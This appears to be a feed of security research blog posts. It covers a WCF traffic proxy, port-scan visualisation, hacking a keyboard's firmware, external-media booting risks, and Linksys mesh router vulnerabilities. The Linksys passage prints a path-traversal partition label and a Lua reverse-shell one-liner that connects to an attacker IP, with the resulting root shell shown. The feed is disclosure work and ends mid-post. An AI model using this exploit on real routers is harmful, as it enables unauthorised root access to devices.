Windows Communication Foundation (WCF) is still a commonly used .NET framework for client-server communication.
Specifically, when Net.TCP is used for transport, the binary encoding of messages makes the network communication challenging to analyze.
This in turn poses an obstacle for the security analysis of WCF-based software products.
For this reason we developed “wcfproxy”, a tool to facilitate the analysis of Net.TCP-based WCF communication.
WCF basics
Windows Communication Foundation is a framework for building service-oriented applications.
It allows developers to define and implement service interfaces independently of the protocol that will be used for communication with the service.
Later, binding configurations define the details of the network communication, such as the protocol used for transporting messages (e.g. HTTP) or the authentication mechanism (e.g. Windows authentication).
WCF offers message transport via HTTP, Named Pipes, Microsoft Message Queueing (MSMQ) or Net.TCP.
In our experience, HTTP and Net.TCP are the most commonly used transport options.
HTTP-based WCF communication can be analyzed with standard web penetration testing tools, although some binding configurations also make this challenging by providing security features at the message level.
Net.TCP-based WCF communication, on the other hand, uses a binary message format that complicates analysis without specialized tools significantly.
A closer look at WCF messages
To get a better understanding of the challenges presented by Net.TCP-based WCF messages, we take a look at the wire format.
We will view a network traffic capture of the remote call of the method Health (signature: string Health()).
As can be seen in the network capture shown in Figure 1, the call of the Health method over HTTP results in the exchange of two SOAP messages.
The message sent by the client indicates the method name Health (marked in green).
The message returned by the server indicates that it is the response to the call of the Health method via the action header HealthResponse (also marked in green).
It also includes the return value of ok (marked in purple).
Figure 1: HTTP-based WCF message and corresponding response
In comparison, Figure 2 shows the call of the same method via a Net.TCP-based binding.
The resulting messages are no longer text-based, but are represented in a binary format.
From this binary representation, the exact contents of the message are not immediately evident.
Still, the name of the method and corresponding response (marked in green) and the return value (marked in purple) can be identified.
Figure 2: Net.TCP-based WCF message and corresponding response
Although the Net.TCP-based messages look very different from the SOAP messages exchanged via HTTP, they are just a binary encoding (see Microsoft specifcation MC-NBFX) of the same SOAP messages.
Next, we will see how wcfproxy converts between the binary and the textual representations.
Related tools
The tool net.tcp-proxy also allows interaction with Net.TCP-based services.
However, it has to be operated at a lower level, as users are required to build the desired WCF messages from Python.
wcfproxy, on the other hand, allows easy inspection and manipulation by translating all WCF communication to SOAP messages over HTTP.
For the related use case of HTTP-based WCF services, that make use of a slightly simpler binary XML representation (MC-NBFS as opposed to ), the Burp extension WCFDSer-ngng also converts between the textual and binary XML representations.
Getting started with wcfproxy
wcfproxy is available at SySS Research.
The tool is written in Go and building it is as simple as executing the following in the cli directory:
1
#> go build -o wcfproxy.exe ./
wcfproxy uses a central JSON file in which any number of named configurations are stored.
Therefore, there are only two command line options:
The options listen and connect specify where wcfproxy should listen for incoming connections and where the traffic should be forwarded to respectively.
Redirecting WCF clients to the proxy will often entail modifying the endpoint URI in some configuration file.
This endpoint URI is also contained in messages sent by the client.
By default, WCF services reject messages if their target endpoint URI does not match their endpoint specification.
Therefore, it will often be required to correct the modified endpoint specification back to the original (in the example above, port 9510 was replaced with 9010 in order to make the client connect to wcfproxy).
To achieve this, place the original endpoint URI in the retarget option.
Finally, an interceptor must be specified.
All messages forwarded via wcfproxy will be passing through this interceptor.
For this example, we will use the log interceptor that simply dumps textual representation of messages to the configured log location (standard output by default).
With this basic configuration in place, we are ready to start wcfproxy:
The same remote call of the Health method of the Net.TCP-based WCF service now results in the messages being dumped in a textual representation close to the SOAP messages observed with the HTTP transport:
During penetration tests, we usually want to manipulate messages exchanged between client and server.
This can be achieved with the http interceptor.
The http interceptor converts Net.TCP-based messages into HTTP messages which contain the textual representation of the original SOAP message in the request body.
These HTTP messages are then sent to an arbitrary HTTP server which can optionally make modifcations to the SOAP messages.
The SOAP message in the body of the HTTP server response is then converted back into the binary format and forwarded to the target server via Net.TCP.
Additionally, the http intercpeptor supports the use of an HTTP proxy.
Figure 3 shows how the http interceptor works conceptually.
Figure 3: Schematic representation of the operation of the http interceptor
A simple but effective setup thus conists of an HTTP server that simply echos back any received request body in combination with an HTTP proxy such as Burp Suite.
The following configuration uses the http interceptor and configures a proxy URL pointing to a local Burp Suite listener.
Furthermore, the built-in echo HTTP server is enabled and listens locally on port 9999.
Figures 4 and 5 show the messages converted to their textual representation forwarded through Burp Suite.
The interception feature of Burp Suite can then be used to edit the messages.
Figure 4: Message sent from the client to the server and forwarded through Burp Suite via the http interceptor
Figure 5: Reply sent from the server to the client and forwarded through Burp Suite via the http interceptor
Note that programmatic manipulation of messages can easily be achieved by replacing the simple echo server with a custom HTTP server that performs the desired manipulations automatically.
Handling authentication
WCF supports different authentication mechanisms on the transport level, most notably Windows authentication and TLS certificate-based (client) authentication.
wcfproxy fully supports TLS for transport security, including certificate-based client authentication.
Regarding Windows authentication, either direct NTLM or SPNEGO is supported.
However, SPNEGO authentication will only succeed if NTLM can be negotiated.
Kerberos authentication is currently not supported.
Details on how to configure authentication for wcfproxy can be found in the documentation.
Conclusion
wcfproxy facilitates the security analysis of Net.TCP-based WCF services by enabling us to intercept and manipulate messages.
Its flexible interception mechanism allows it to be used to interactively modify messages or as the basis for custom tools that manipulate messages programmatically.
wcfproxy is available at SySS Research and includes detailed documentation that covers the features presented here as well as some more advanced capabilities left to explore for the curious reader.
Scanscope: Visualizing Port Scan Results Using Machine Learning Methods2026-04-09T10:00:00+02:002026-04-09T10:00:00+02:00https://blog.syss.com/posts/scanscope/Dr. Adrian Vollmer
Port scan results of large networks are usually only machine-readable. Nmap, arguably one of the most widely used port scanners, may offer a textual output that is human-readable for a handful of hosts, but becomes quickly unreadable in larger networks due to sheer size.
The machine-readable output – usually in the form of XML files – is still very valuable for a pentester, but wouldn’t it be n...
Port scan results of large networks are usually only machine-readable. Nmap, arguably one of the most widely used port scanners, may offer a textual output that is human-readable for a handful of hosts, but becomes quickly unreadable in larger networks due to sheer size.
The machine-readable output – usually in the form of XML files – is still very valuable for a pentester, but wouldn’t it be nice if we could actually get a vivid impression of what we are dealing with? That’s why we wrote a tool called “Scanscope” that attempts to visualize port scan results for humans.
It helps to understand the basics of linear algebra for what follows, but the pretty pictures at the end can be enjoyed by everyone!
The target audience of this blog post are pentesters and defenders who want to take a more proactive approach to securing their network.
Motivation: Missing the forest for the trees
A port scan report by nmap for one host might look something like this:
Nmap scan report for 192.168.17.140
Host is up (0.00038s latency).
Not shown: 65509 filtered tcp ports (no-response)
PORT STATE SERVICE
53/tcp open domain
80/tcp open http
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
443/tcp open https
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
3389/tcp open ms-wbt-server
5357/tcp open wsdapi
5985/tcp open wsman
8530/tcp open unknown
8531/tcp open unknown
9389/tcp open adws
49668/tcp open unknown
49692/tcp open unknown
49693/tcp open unknown
49695/tcp open unknown
49696/tcp open unknown
49711/tcp open unknown
49724/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 89.75 seconds
This is just for one host, and larger enterprises may have tens of thousands or
even more machines in their network.
Take the scan report above times ten thousand and you might get an idea of how futile it is to actually read the port scan result for a typical network.
You can scroll over lines and lines of ports, but you won’t get an impression of how this network differs from the one you assessed the week before.
You will see lots of hosts with a similar or even identical port configuration, but you won’t spot the ones that stand out.
Crucially, these outliers remain central to proactive security strategies.
So one might wonder how a human-readable representation of a port scan result
might look. Clearly, the total amount of information overwhelms the human
mind, but perhaps it is possible to distill the information into something that
is still characteristic for a particular network.
One possible way to go about this is to interpret the port scan result as
vector space. Each port number
corresponds to a dimension in this vector space, so any host corresponds to a
vector
\[\mathbf v = \sum_{i=0}^{65535} p_i \mathbf e_i\,,\]
where $i$ is the port number,
and $p_i$ equals $1$ if the TCP port $i$ of that host is open and $0$ otherwise.
As an example, a host which has TCP ports 22 (SSH) and 443 (HTTPS)
open would be represented as the vector
\[\mathbf v = \mathbf e_{22} + \mathbf e_{443}\,.\]
For UDP ports, we can simply multiply the port number with $-1$. Since there are
$2^{16}$ port numbers for both TCP and UDP, we can trivially
identify our vector
space with $(\mathbb{F}_2)^{2^{17}}$, so a vector space over the finite
field of order 2 with $2^{17}$
dimensions.
That’s a lot of dimensions! And it hardly makes it easier to visualize the data.
However, now we’re on charted territory and we can apply well-known techniques
known as dimensionality
reduction.
The idea is to reduce the dimensions from $2^{17}$ to two to get something that we
can draw on a 2D chart. Hopefully, we can produce a map of the network where
similar hosts (in terms of port configuration) are located nearby.
Methods and implementation: Trimming dimensions
To make our life a bit easier, we call hosts that have the exact same
ports open “equivalent”, so we can speak of equivalence classes, or host groups.
Since the number of hosts in a host group should not influence the position of
a host in the resulting 2D chart, we deduplicate the data set before the
dimensionality reduction.
A classic method to reduce dimensions is Principal Component
Analysis (PCA). It’s one of
the oldest methods in the field and a natural first choice.
Strictly speaking, PCA operates over $\mathbb{R}$, but the natural embedding of
$(\mathbb{F}_2)^{2^{17}}$ into $\mathbb{R}^{2^{17}}$ makes this straightforward.
We also tested
UMAP
for dimensionality reduction. However, we found it to be quite heavy both in
terms of size of the Python dependencies, as well as computational complexity.
On top of that, the results did not convince us over PCA, qualitatively speaking.
It either produced very tight clusters which required a lot more zooming in and out
when exploring the chart, or host groups that we would expect to be nearby were
on opposite sides of the chart. Also, unlike PCA, it is non-deterministic and produces
a completely different result every time, which is undesirable when comparing
charts of the same network at different times or from different scanning
positions, for example. UMAP can be made reproducible, but that will cost us
parallelization.
Our data lives on the vertices of a high-dimensional hypercube. There is no
curved manifold structure for UMAP to exploit, so its additional complexity buys
us nothing over PCA.
Reducing dimensions from $2^{17}$ down to $2$ clearly represents a massive loss
of information, but that is a necessary trade-off.
In our tests, the first two components explain between 30% and 90% of the
variance, with larger and more diverse networks typically at the higher end.
This gives us confidence in our approach.
For assigning host groups to a cluster, we chose the
HDBSCAN algorithm.
Because Python is arguably equally popular among pentesters and data scientists, it’s
also a natural choice for Scanscope. Packages implementing the algorithms
mentioned above are readily available.
As for the presentation: this wealth of information must be available in an
interactive form. The most obvious and most widely supported format for this is HTML,
but distributing several HTML and JavaScript files always creates a bit of
friction. Luckily, there is a package called
Zundler which can zip and bundle
various assets into a single file.
This way, we can easily create an interactive web application compressed in a
single file which contains all necessary assets. For best performance, we use an
in-memory SQLite database, which is available as a
JavaScript implementation using WASM.
The web application has the most common ports color coded to provide visual
clues for similarities and differences between host groups. A tool tip shows the
corresponding service as assigned by
IANA.
The charts themselves are rendered using Bokeh. They allow
you to drill down in the data and explore the network landscape. Host groups are
displayed in a bubble chart, where the area of a bubble corresponds to the
number of hosts in a host group. For the color of a bubble, we offer several
color schemes:
by cluster ID
by category
by port count (high port counts are red, low port counts are blue)
by fingerprint (essentially a randomly assigned color)
Categories (web server, printer, e-mail, domain controller, etc.) are assigned to
host groups using a crude heuristic approach. It’s not always clear to tell the
purpose of a host just by looking at the open ports, especially since it can
have multiple purposes, but it can provide a rough guide.
The position of a bubble is solely determined by the port configuration of the
corresponding host group and the parameters of the reduction algorithm.
However, the axes or coordinates have no particular meaning.
Interpretation and comments: Drawing tree maps
A typical bubble chart might look like this:
You’ll find that Windows hosts are usually on one side of the chart whereas
Linux hosts or IoT devices are on another. That is because Windows hosts by
default have ports 135, 139 and 445 open. Sometimes, a couple of high ports are
open as well. Depending on the network, you might find Windows endpoints and
Windows server separate from each other, where there might be an island of web
servers in the server area. Or one might observe a group of database servers, where
there is one little bubble nearby, representing a database server where the port
for RDP (3389) has been left open. Maybe accidentally! My first goal when
exploring the bubble chart is usually finding the domain controllers. Look
out for those bold, yellow port badges!
Clicking on a bubble or selecting several bubbles with the Box Select tool
will show which IP addresses are in each host group. It shows the intersection
of all ports, i.e. which ports all host groups have in common, as well as the
union of all ports.
The tree map presents the same information in a different format:
Clearly, the choice of which ports to scan will have an impact on the result.
Scanning all $2^{16}$ ports is not always feasible, but the more ports you
scan, the better the result will be. If time is a constraint, then a SYN scan of the
top 100 ports is a good compromise in a typical corporate network. Nmap has the
command line flag -F for selecting the top 100 ports.
And finally, an interactive demo! This is synthetic data, but comes quite close
to a real portscan.
Conclusion: From seedlings to canopy
We presented a novel way to visualize port scan results using methods from
machine learning and data mining. It can help identify outliers, compare port
scan results as well as getting a first impression for various networks.
Scanscope is available on Github
and PyPI. Try it out now with pipx run
scanscope or uv tool run scanscope!
Hacking a Keyboard for Fun and Profit - Can It Run Doom?2026-03-03T10:00:00+01:002026-03-03T13:13:32+01:00https://blog.syss.com/posts/rog-azoth-will-it-run-doom/Dr. Matthias Kesenheimer
The Asus ROG Azoth is a high-end gaming keyboard built to be a bit smarter than normal keyboards. Solid tactile switches, fully customizable RGB lighting, and a crisp built-in OLED display put it a step above the usual. That little screen isn’t just for looks: It can show system stats, adjust lighting profiles, tweak volume, and act as a quick access hub for keyboard settings without touching y...
The Asus ROG Azoth is a high-end gaming keyboard built to be a bit smarter than normal keyboards. Solid tactile switches, fully customizable RGB lighting, and a crisp built-in OLED display put it a step above the usual. That little screen isn’t just for looks: It can show system stats, adjust lighting profiles, tweak volume, and act as a quick access hub for keyboard settings without touching your OS.
Asus ROG Azoth
What makes the Azoth really interesting isn’t just the hardware, though – it’s what you can do with it. The keyboard’s onboard microcontroller and flexible firmware open the door to deeper exploration. In this blog post, we detail a hardware hacking project where we threw out the stock code, got under the hood of the Azoth’s software stack, and set the stage to run custom code directly on the keyboard itself. The ultimate stunt: flashing a minimalist version of Doom to play on the Azoth alone – no extra hardware, just pure embedded mischief.
ROG Azoth display
Is your companion doomed?
The ROG Azoth is powerful, and clearly designed to blur the line between a passive input device and an active system companion. That same “smart” design is exactly what makes the Azoth interesting from a security and research perspective. A keyboard with its own display, storage, firmware update path, and microcontroller is no longer just a dumb HID device. It’s a computer on your desk that happens to inject keystrokes. From a hardware security standpoint, that raises real questions: How locked-down is the firmware? What trust assumptions does the host OS make about the device? And how much control does the user actually have over the code running inside it?
Hacking a device like this isn’t just a gimmick or a flex. It’s a practical way to audit the security boundaries of modern peripherals. If custom code can be injected, what prevents malicious firmware from doing the same? If the display and input logic are programmable, could the keyboard lie to the user, exfiltrate data, or act as a covert attack platform? These aren’t theoretical problems – they’re exactly the kinds of attack surfaces that get ignored because “it’s just a keyboard.”
That’s why this project aims higher than blinking LEDs or custom animations. By reversing the Azoth’s software stack and targeting its microcontroller directly, we explore how resilient the platform really is. The stunt goal – running a stripped-down version of Doom entirely on the keyboard – isn’t about gaming on an OLED strip. It’s a proof of capability. If you can play Doom on it, you can run arbitrary logic on it. And once you reach that point, the conversation stops being about fun hacks and starts being about trust, firmware security, and how much power we’re quietly handing to “smart” peripherals.
Enumerating the attack surface
With the case removed, the main PCB was subjected to a detailed component-level analysis. The most interesting part is a custom ASUS-developed module based on the Nordic nRF52840. This SoC is well-known in the embedded world: ARM Cortex-M4, plenty of flash and RAM, USB support, and native SPI/I2C/UART peripherals. In other words, more than powerful enough to run complex firmware – and definitely powerful enough to run things the vendor never intended.
A picture of the motherboard is shown below.
ROG Azoth motherboard
During the PCB inspection, a small pin header stood out, labeled VDD_NRF, UART_TX, SWDIO, SWCLK, GND. SWD (Serial Wire Debug) is ARM’s standard two-wire debugging and programming interface for Cortex-M microcontrollers. Using just SWDIO (data) and SWCLK (clock), a debugger can halt the CPU, read and write memory, flash firmware, and single-step through code – if no firmware protection is enabled. It’s how developers bring firmware onto the chip during manufacturing and how they debug it during development.
From a security perspective, an exposed SWD header is gold. If SWD is left enabled and not properly locked down, it can provide full, low-level access to the microcontroller – below the operating system, below any application logic, and below any software-based protections. Firmware readout, live memory inspection, and arbitrary code injection all become possible with minimal hardware.
The OLED display resides on its own small PCB, connected to the main board via a flat cable. The panel itself appears to be a monochrome OLED of unknown exact model. Although there is no public documentation from ASUS, the PCB markings and trace layout make it obvious that this display is driven via the SPI protocol.
Detailed view of the ROl Azoth OLED display
SPI (Serial Peripheral Interface) is a simple, synchronous communication protocol commonly used between microcontrollers and peripherals like displays, sensors, and flash chips. It uses a shared clock line and separate data lines for sending and receiving data, plus a chip-select signal to choose the active device. There’s no encryption, no authentication, and no inherent access control – if you can talk on the bus, you can control the device.
OLED display PCB markings
By this point, the boundaries were clear. A powerful microcontroller running vendor firmware, a display controlled over SPI, and a firmware update path to tie it all together. That combination defines the core surface to probe: firmware integrity, debug access, and peripheral control.
Gaining access to the keyboard’s firmware
A smart keyboard might have signed firmware, update checks, and polished software – but none of that matters if the debug interface is still accessible. With the SWD header identified, a SEGGER J-Link was connected to the SWDIO, SWCLK, VDD, and GND pins, and the nRF52840 immediately responded. No glitching, no tricks – just a clean debug connection.
Programming setup
The first critical finding came right away: APProtect was not enabled. That means the entire flash contents could be read out without restrictions. The full factory firmware was dumped and archived. This might not seem like a big issue, but it’s a major security issue – and a major convenience for research. Having a fresh firmware backup is essential if you want to experiment freely and still be able to restore the device to a factory-like state afterward.
An attempt was then made to reverse-engineer the dumped firmware. In theory, this would allow us to understand the full software stack and modify behavior directly. In practice, it was a dead end. The firmware is a large, bare-metal application with no symbols, no debug strings, and heavy use of vendor libraries. Static analysis quickly turns into guesswork, and dynamic analysis without source-level insight is slow and fragile. This is a common problem in embedded research: Having the firmware doesn’t mean it’s realistically reversible.
Reverse-engineering the reset handler
Instead of fighting the entire codebase, the focus shifted to something more contained and more useful: the display path. If we could independently drive the OLED, we could replace the UI layer entirely. That meant figuring out how the nRF52840 communicates with the display – which SPI mode is used, which commands initialize the panel, and how pixel data is transferred.
Signal capturing
Unlike many MCUs, the nRF52 family uses flexible GPIO mapping. SPI signals aren’t tied to fixed pins – they’re assigned in firmware. As a result, there was no shortcut from the datasheet. The PCB itself had to be reverse-engineered to trace the display connector back to specific GPIO pins on the nRF52840.
Understanding the display communication
To see what the firmware actually does, a logic analyzer was hooked up to the lines going from the nRF52840 to the OLED display. Captures were taken right after reset, while the stock firmware initialized the keyboard. This gives a clean view of the display init sequence.
SPI logic trace
The core SPI signals were easy to identify. MOSI (Master Out, Slave In) carries data from the nRF to the display. CLK is the clock that defines when bits are sampled. CS (Chip Select) marks when the display is actively addressed. DC (Data/Command) switches the meaning of the bytes on MOSI – low for display commands, high for pixel data.
Commands to initialize the display
The function that initializes the display and was finally added to the custom firmware is shown below.
staticvoidoled_init(void){oled_reset();uint8_tcmd[]={0xAB,0x00,// Enable internal VDD regulator / unlock OLED command (0xAB = Unlock, 0x00 = enable)0xAD,0x9E,// Set master configuration (0xAD = Master config, 0x9E = external VDD + internal reference)0x15,0x00,0x7F,// Set Column Address: start=0x00, end=0x7F (128 bytes = 256 pixels)0x75,0x00,0x3F,// Set Row Address: start=0x00, end=0x3F (0–63 rows)0x81,0x7D,// Set contrast / current (0x81 = contrast, 0x7D = value)0xA0,0x51,// Set Re-map / Segment configuration: horizontal flip (bit A0/A1) -> if other orientation is chosen, high and low nibbles in oled_draw_char must be swapped0xA1,0x00,// Set Display Start Line (row start address = 0 for top)0xA2,0x00,// Set Display Offset (vertical scroll offset = 0)0xA4,// Normal display mode (A4 = display RAM content, A5 = ignore RAM)0xA8,0x3F,// Set Multiplex Ratio: 0x3F = 64MUX (rows 0–63)0xB1,0x11,// Set Phase Length (driver timing configuration)0xB3,0xF0,// Set Display Clock Divide Ratio / Oscillator Frequency0xB9,// Use default (dummy, often for precharge period)0xBC,0x04,// Precharge voltage level0xBE,0x05// VCOMH voltage level (common voltage)};constuint8_tlength=sizeof(cmd);oled_cmd_buff(cmd,length);}
However, not all lines were that obvious. Activity was visible on the display’s RESET line, but it didn’t behave like a simple one-time reset. Even more confusing were the GPIO pins 19 and 21, both showing transitions that didn’t line up with SPI transfers. At first glance, they looked unrelated or redundant. Digging deeper cleared things up. The display turns out to have a sleep mode that must be explicitly disabled. Driving GPIO pin 21 high brings the panel out of sleep and allows it to respond to SPI commands. Without this signal, the display stays dark, no matter how correct the SPI traffic is.
The power sequencing was the final missing piece. The OLED is not powered continuously; its supply rails are gated. Two additional GPIOs – pin 46 and pin 47 – control the display’s power circuitry. Unless these pins are asserted in the correct order, the panel is effectively unpowered.
Once all of these signals were understood – SPI, reset behavior, sleep control – and after the power was enabled, the display could finally be driven.
Rendering text on the OLED
With full control over the display signals, the next step was making it actually useful. That meant rendering text – not by abusing the vendor firmware, but by driving the OLED directly with custom code.
A small rendering pipeline was implemented from scratch. Bitmap glyphs were defined for each character, and a function called oled_draw_char was developed to convert those glyphs into the exact binary format expected by the display controller. This includes packing pixels into bytes correctly and sending them over SPI with the right command/data framing.
staticvoidoled_set_cursor(uint8_tcol,uint8_trow){// Row: 0..63uint8_tcmd1[]={0x75,row,row};constuint8_tlength1=sizeof(cmd1);oled_cmd_buff(cmd1,length1);// Column: 0..127 (each byte = 2 pixels)uint8_tcmd2[]={0x15,col,0x7F};constuint8_tlength2=sizeof(cmd2);oled_cmd_buff(cmd2,length2);}staticvoidoled_draw_char(uint16_tx,uint8_ty,charc){if(c<32||c>126)c='?';constuint8_t*glyph=font5x7[c-32];// x_byte = byte address (2 pixels per byte)uint8_tx_byte=x>>1;uint8_tshift=x&1;// which nibble (high=0, low=1)// iterate each rowfor(uint8_trow=0;row<7;row++){uint8_tline[3]={0};// 5 pixels => max 3 bytes (ceil((5+shift)/2))for(uint8_tcol=0;col<5;col++){if(glyph[col]&(1<<(6-row))){// MSB = top pixeluint8_tpx=col+shift;uint8_tidx=px>>1;if(px&1)line[idx]|=0x0F;// low nibbleelseline[idx]|=0xF0;// high nibble}}oled_set_cursor(x_byte,y+row);oled_data(line,(shift+5+1)/2);// number of bytes to send}}
On top of that, a higher-level helper function, oled_draw_string, was added. This function simply iterates over a string, calls oled_draw_char for each character, and advances the cursor position accordingly.
Rendering a custom message then became as simple as calling:
1
oled_draw_string(0,50,"Hacked by SySS!");
This was the first visible proof that the keyboard was no longer running vendor logic. The OLED wasn’t showing system stats or RGB profiles anymore – it was displaying attacker-controlled content, generated entirely by custom firmware running on the keyboard’s microcontroller.
Hacked
Verdict
Running a full version of Doom on the ROG Azoth has not yet succeeded. But that was never the real success condition.
What was achieved is far more important from a security and research standpoint. Full access to the keyboard’s microcontroller was obtained, and attacker-controlled code was executed on the device without any restrictions. That alone breaks the assumption that this is a locked-down, trustworthy peripheral.
The hardware itself was mapped and understood. The PCB layout was reverse-engineered far enough to identify critical GPIO functions, power sequencing, and the SPI bus driving the OLED. The display is no longer a black box tied to vendor firmware; it’s a peripheral that can be initialized, configured, and controlled at will.
Finally, custom-rendered text on the OLED proved end-to-end control. The keyboard executes arbitrary code, drives its own display, and presents attacker-defined output – not by glitching or exploiting a runtime bug, but by design choices that left powerful interfaces exposed.
So while Doom remains a stretch goal, the core message is already clear: The ROG Azoth is not just hackable for fun. It’s a reminder that “smart” peripherals are embedded systems with real attack surfaces – and that firmware security matters just as much for keyboards as it does for any other computer on your desk.
Why Regular Employees Should Not Boot Their Computers From External Media2026-02-24T08:00:00+01:002026-02-24T09:17:55+01:00https://blog.syss.com/posts/no-boot/Micha Borrmann
In this blog article, we want to explain why regular employees should
not be able to boot their work computers from external media, even if
their devices are encrypted.
In this blog article, we want to explain why regular employees should
not be able to boot their work computers from external media, even if
their devices are encrypted.
Security risks, especially if the computer uses unencrypted storage
There are several security risks if an employee or other unauthorized
persons can boot an alternative operating system, and the computer
does not use full disk encryption (FDE). Note that FDE does not only apply to traditional hard drives but also to modern storage devices
such as solid-state drives (SSDs).
If an unauthorized individual can run an alternative operating system
and FDE is not used, all data on the device can be read, modified, or
exfiltrated. Such scenarios may be exploited for
bypassing security restrictions, e.g. deleting antivirus software
installing malware
gaining unauthorized system access and leaking sensitive data
FDE is a strongly recommended security measure to protect against such
malicious activities.
Possible ways to boot another OS
Booting another operating system can be possible using the following
external media:
USB drive
CD/DVD
Memory Flash Cards (SD, microSD)
Network (PXE)
Secure Boot is a protection mechanism to prevent booting untrusted
operating systems (from the perspective of the computer
administrator), even if booting from external media is allowed. The
UEFI (formerly known as BIOS) must be protected so that Secure Boot
cannot be disabled. This is typically done by setting a UEFI
password. Any changes to UEFI settings, including those related to
Secure Boot, require this password. This password should not be
shared with regular employees. Only authorized personnel like IT
administrators should know this password.
Security risks, if FDE and Secure Boot are used
Even when Secure Boot is enabled and FDE is in use, data access may
still be possible. For example, the BitPixie attack
demonstrates how computers secured with both Secure Boot and FDE can
still be compromised.
Other security risks, if booting from external media is possible
Another reason to prevent booting from external media is theft
prevention and asset protection. If a stolen laptop cannot boot from
external media, especially when FDE is used, its practical usability
is significantly reduced. This lowers the device’s resale value on the
black market and makes it less attractive to steal.
Unfortunately, there are also cases where disloyal employees falsely
report a device as lost or stolen in order to resell or misuse it for
personal purposes.
UEFI password is not enough
If the UEFI boot options are restricted and password-protected, at
least on Dell and HP computers, it should not be possible to boot from
external media without knowing the correct admin password. However,
last year we demonstrated that this kind of boot protection can be
bypassed easily (SYSS-2025-059,
SYSS-2025-060).
Therefore, we strongly recommend to disable booting from external
media entirely. This helps avoiding IT policy violations and enhances
both asset protection and theft deterrence.
MeshHacks: Exploiting Linksys Intelligent Mesh from the Internet2026-02-12T06:00:00+01:002026-02-25T11:42:01+01:00https://blog.syss.com/posts/meshhacks/Christian Zäske
In this blog post, we describe multiple vulnerabilities we found in Linksys Wi-Fi routers, especially exploiting the “Intelligent Mesh™” functionality, which can be used to wirelessly link routers to act as a Wi-Fi mesh.
In this blog post, we describe multiple vulnerabilities we found in Linksys Wi-Fi routers, especially exploiting the “Intelligent Mesh™” functionality, which can be used to wirelessly link routers to act as a Wi-Fi mesh.
TL;DR
We discovered several security vulnerabilities in the Linksys MR9600 and MX4200, which reach from the exposure of sensitive information to the full compromise of the device over the internet by combining multiple vulnerabilities to develop an exploit chain. As a result, an unauthorized attacker can gain full access to the underlying operating system over the internet, even if the Intelligent Mesh™ is not used. The control over network routers gives attackers an excellent position for machine-in-the-middle attacks.
Because the firmware of the different Linksys products are very similar, these issues might also affect other devices as well.
Research Question
Network routers are essential components in connecting multiple networks. This reaches from the rather simple Wi-Fi router at home to routers used in large-scale company networks. In both cases, a lot of new routers from known brands have a built-in “Mesh” functionality to connect multiple access points or routers without the need of running cables to all of them. Sadly, manufacturers developed their own standards to accomplish this functionality resulting in different technologies and no intercompatibility. There is TP-Link’s “OneMesh™”, “AiMesh” from ASUS and, as already described, “Intelligent Mesh™” from Linksys.
Since there does not seem to be much research available about these mesh technologies, we asked ourselves: How secure are these implementations?
This article will describe our journey of compromising the Linksys routers and gaining valuable knowledge about the mesh technology they use.
Hardware
The following images show the hardware used in our research, the Linksys MX4200 and the Linksys MR9600.
MX4200
Front of MX4200
Ports of MX4200
Buttons of MX4200
MR9600
Front of MR9600
Ports of MR9600
Intelligent Mesh™
To begin our investigation, we used the older MR9600 Wi-Fi router from Linksys, which got the mesh functionality, like a lot of other Linksys routers, built-in. According to Linksys, there are two different ways of connecting “Nodes” to the “Master” router: wired and wireless. For adding wireless nodes, a button in the web interface can be activated to put our master into pairing mode. Hold any other unconfigured Linksys router close by, and it will automatically become a node of the network. This sounds very user-friendly but with some experience in embedded security also very dangerous.
After the connection is established, the node is acting like an access point, spreading the Wi-Fi network to a greater area.
Getting started
In order to use this functionality, we of course need two Linksys routers. But because this research was done rather spontaneously, we started with only one, the MR9600 model. As we could not observe two routers in action while performing the pairing process, we knew that quite some reverse engineering is needed in order to understand the process without a second router. But because only reverse engineering the publicly available firmware is rather theoretical and difficult without knowing which actions results in which behavior on the real devices, we first focused on getting root access to the router without looking too much at the mesh functionality.
It didn’t take that long until we found the first vulnerability.
From path traversal to root shell
Upon investigating the firmware of the MR9600, we found several scripts for managing the SMB share the router offers when plugging in a USB drive into one of the USB ports on the back. Those where triggered when a drive is plugged in containing a supported file system, e.g. NTFS. A few lines immediately stood out which are shown in the following and where found in the file /etc/init.d/service_tsmb.sh:
1
2
3
4
5
6
7
8
for d in$DRIVESdo# [...]usb_label=`usblabel $d`mkdir-p"$ANON_SMB_DIR/$usb_label"echo"mounting /tmp/$d on $ANON_SMB_DIR/$usb_label">>$TMP_LOG
mount -oumask=002 "/tmp/$d""$ANON_SMB_DIR/$usb_label"-obind
done
$DRIVES holds a list of partitions on the USB drive and $ANON_SMB_DIR is set at the top of the file to /tmp/anon_smb. These lines iterate through all partitions on the USB drive and mount them with the name of the partition label in the directory /tmp/anon_smb without any sanitization. By formatting the partition on the USB drive as NTFS, the partition label can be as long as 128 Unicode characters, including . or /. If we name the partition e.g. ../../tmp/SySS, our partition on the USB drive gets mounted on /tmp/SySS on the file system of the router, allowing us to mount the contents of our drive to any location we want.
The next step is to find a mount point where we can execute commands from. The easiest path is /tmp/cron/cron.everyminute, in which, as the name implies, every shell script gets executed every minute. By adding a script reverse.sh to our USB drive with the following content and setting the partition label to ../../tmp/cron/cron.everyminute, we can get a reverse shell to our system:
1
nohup /usr/bin/lua -e"local s=require('socket');local t=assert(s.tcp());t:connect('192.168.2.57',5555);while true do local r,x=t:receive();local f=assert(io.popen(r,'r'));local b=assert(f:read('*a'));t:send(b);end;f:close();t:close();"
1
2
3
4
5
6
attacker@192.168.2.57:~$nc -lvnp 5555
listening on [any] 5555 ...
connect to [192.168.2.57] from (UNKNOWN) [192.168.2.1] 55058
linksys@192.168.2.1:~$whoamiroot
As you can see, our script gets executed and connects directly as the root user to our listener on the attacker system.
This vulnerability was reported to Linksys with the security advisory SYSS-2025-001.
Analyzing the mesh pairing process
After root access to the router is established, we can continue our journey by analyzing how the mesh functions and how other devices are paired to it. After searching through the firmware, we found which script gets executed if the “Add Wireless Child Nodes” button is pressed in the web interface. Thankfully, most of the scripts that handle actions from the web interface are rather simple lua scripts, so there is no need to reverse engineer binaries (at least for now). These lua scripts execute shell scripts, mostly present in /etc/init.d, for handling communication to the hardware.
After pressing the mentioned button, quite a lot of lua scripts and functions get executed until finally the script /etc/init.d/bt_auto_onboard_start.sh is called. This is the main script that handles connections of new nodes for the mesh network, and as you can probably already guess by the name of the file, it uses Bluetooth!
